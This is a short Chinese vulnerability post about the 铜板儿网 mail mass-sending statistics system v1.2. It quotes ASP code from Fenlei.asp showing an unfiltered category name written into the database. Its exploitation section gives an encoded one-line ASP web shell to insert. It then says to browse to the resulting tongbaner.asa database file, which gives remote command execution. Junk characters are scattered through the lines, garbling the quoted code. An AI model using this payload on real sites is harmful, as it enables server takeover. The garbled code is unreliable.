铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
1 U. N0 o1 }6 G" p, I. \& k
IF Request.QueryString("Action")="del" Then
) @4 u! B+ c3 LID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
7 \& f- Y, Z- K7 X$ r'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
9 P' b9 y9 P) BSet Rs=Server.CreateObject("adodb.Recordset")
7 X, }4 d/ c; O: y+ f8 dSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
7 M5 X0 w+ R9 ORs.Addnew
1 U3 {8 t* t3 p" h! }Rs("Typename")=Tname
$ o5 e$ q9 c( w) b# n6 P; L'略
6 u$ f, _, s6 `9 n( S5 _2 _) |Set Rs=Server.CreateObject("adodb.Recordset")
% }5 O8 e; w8 Y2 V" f+ TSql="Select * From Fenlei Order by id Desc "
1 e+ U/ Q: s- oRs.Open Sql,Conn,1,1
'略
%>
' v" B' o; {' f

! E/ R. H; f; B; w( a/ b9 D
没有过滤，直接写入数据库。
, x) Q( s* H( A) U0 L6 O
8 [- I& d1 g) q% D; q- x, o, ]) T  p利用方法：
& z3 ]: s+ z2 O; v: \
0 H! f2 o" A7 e' ?$ W插入：┼攠數畣整爠煥敵瑳∨≡┩>

; ]3 D( ?5 N' }- ^* Y& D
连接： http://www.xxx.com/###tongbaner.asa
& Q5 \0 j& }) ]: p3 v8 o'默认安装文件：
. O$ J8 t4 p8 ]( g3 D4 o+ x. \'install.asp
6 I$ V3 f2 P* Z6 j1 q4 q* i